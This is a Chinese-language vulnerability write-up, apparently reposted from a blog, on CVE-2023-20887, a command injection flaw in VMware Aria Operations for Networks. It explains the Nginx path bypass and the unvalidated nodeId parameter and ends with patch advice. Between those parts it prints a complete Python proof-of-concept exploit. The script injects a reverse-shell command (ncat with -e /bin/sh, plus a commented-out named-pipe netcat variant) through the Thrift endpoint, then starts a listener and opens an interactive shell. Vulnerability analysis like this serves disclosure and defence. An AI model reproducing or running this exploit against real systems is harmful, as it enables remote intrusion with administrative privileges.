漏洞分析|VMware Aria Operations for Networks命令注入漏洞(CVE-2023-20887)

发布时间:2024年01月02日

1.漏洞描述

VMware Aria Operations for Networks (以前称为vRealize Network Insight,vRNI)是一款网络可视性和分析工具,可以帮助管理员优化网络性能或管理和扩展各种VMware和Kubernetes部署。

?VMware Aria Operations for Networks 具有网络访问权限的威胁者可以通过执行命令注入攻击,从而导致远程代码执行

2.影响版本

VMware Aria Operations Networks版本:6.x

3.影响范围

4.漏洞分析

攻击者利用两个漏洞:Nginx 的错误配置以及由于用户输入校验不当导致的命令注入

Nginx 配置错误

Aria Operations 使用 Nginx 配置的 Apache Thrift RPC 服务的反向代理。查看 /etc/nginx/sites-enabled 中的 Nginx 配置信息,可以看到对 /saasresttosaasservlet 的访问会被限制。也就是说,Nginx 反向代理只接受来自 localhost 的网络流量,然后将该流量重定向到本地 9090 端口上运行的服务。

攻击者找到了方法绕过这个限制。 Nginx 接受对前缀为 /saas 的任意请求,覆写此处即可将其重定向到本地端口 9090。

这意味着攻击者对 /saas./resttosaasservlet 的请求将会被覆写并允许在本地 9090 端口访问 /./resttosaasservlet。

但在此之前,首先要确认无法从 localhost 以外的 IP 地址直接访问 /saasresttosaasservlet。尝试访问该地址时会收到 403 Forbidden 的响应信息。

再次从 localhost 以外的 IP 地址针对 /saas./resttosaasservlet 发出请求,已经能够访问。图中的失败显示 500 Internal Server Error 是因为相应的 Servlet 无法处理,但实际上并不是完全没有办法了。

用户输入验证不当

针对 /saas./resttosaasservlet 的请求会被重定向到本地 9090 端口,可以查看本地 9090 端口上运行什么服务。

进程 ID 为 8480 的 Java 进程正监听本地 9090 端口。通过 ps 命令,可以查看该进程的详细信息。可以发现进程是从 /home/ubuntu/build-target/saasservice/ 处执行 saasservice-0.001-SNAPSHOT.jar 的。

反编译该 Jar 文件后,就可以发现 /resttosaasservlet 的响应由 Rest-saas 通过 ManagementEndpointServlet() 函数进行处理。

在 ManagementEndpointServlet() 中会调用 RestToSaasCommunication.Processor(),这也是在 RestToSaasCommunication 类中进行定义的。

RestToSaasCommunication 类具有多个函数。每个进程映射到 RestToSaasCommunication 类支持的函数,主要查看 createSupportBundle() 的内部实现。

在 createSupportBundle() 中包含四个参数:customerId、nodeId、requestId 和 evictionRequestIds。

用户传递的四个参数中,可以看到参数 nodeId 的值被传递给了 evictPublishedSupportBundles()。

evictPublishedSupportBundles() 在将参数传递给 Shell 脚本前,不会对其进行校验。将特定的 Payload 作为 nodeId 参数传递,就可以实现以管理员权限在 Shell 中执行任意命令。

Poc:
#!/usr/bin/python3
import requests
import argparse
import json
from pwn import *
requests.packages.urllib3.disable_warnings()

def exploit(target,localhost,localport):
    url = f'{target}/saas./resttosaasservlet'

    headers = {
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'X-Requested-With': 'XMLHttpRequest',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36',
        'Content-Type': 'application/x-thrift',
    }

    # revshell = f'mknod /tmp/pipe p;/bin/sh 0</tmp/pipe | nc {localhost} {localport} 1>/tmp/pipe'
    revshell = f'ncat {localhost} {localport} -e /bin/sh'

    payload = """[1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`"""+revshell+"""`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}]"""
    

    try:
        response = requests.post(url, headers=headers, verify=False, data=payload, timeout=3)
    except:
        pass

def get_external_ip():
    endpoint = 'https://ipinfo.io/json'
    response = requests.get(endpoint, verify = True)

    if response.status_code != 200:
        return 'Status:', response.status_code, 'Problem with the request. Exiting.'
        exit()

    data = response.json()

    return data['ip']

if __name__ == "__main__":

    ## parse argument
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", action="store", help="Target url, http://localhost:9000", default=False, required=True)
    parser.add_argument("-l", "--localhost", action="store", help="Local IP address for reverse shell", default=False)
    parser.add_argument("-p", "--localport", action="store", help="Local port for reverse shell", default="443")
    args = parser.parse_args()
    
    if args.target is not False:

        if args.localhost is False:

            # get external ip address for listener
            try:
                args.localhost = get_external_ip()
            except:
                print("Not able to get external IP address")
                sys.exit(1)

        # running listener
        l = listen(args.localport)

        # sending exploit payload
        exploit(args.target,args.localhost,args.localport)
        
        # waiting for a reverse connection
        try:
            s = l.wait_for_connection()
            s.interactive()
        except:
            pass
        finally:
            l.close()

    else:
        parser.print_help()
        parser.exit()

5.修复建议

目前VMware已经发布了这些漏洞的补丁,Aria Operations for Networks 6.2、6.3、6.4、6.5.1、6.6、6.7、6.8、6.9、6.10版本用户可及时安装补丁。

下载链接:

https://kb.vmware.com/s/article/92684

文章来源:https://blog.csdn.net/xuandaoren/article/details/135323872
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。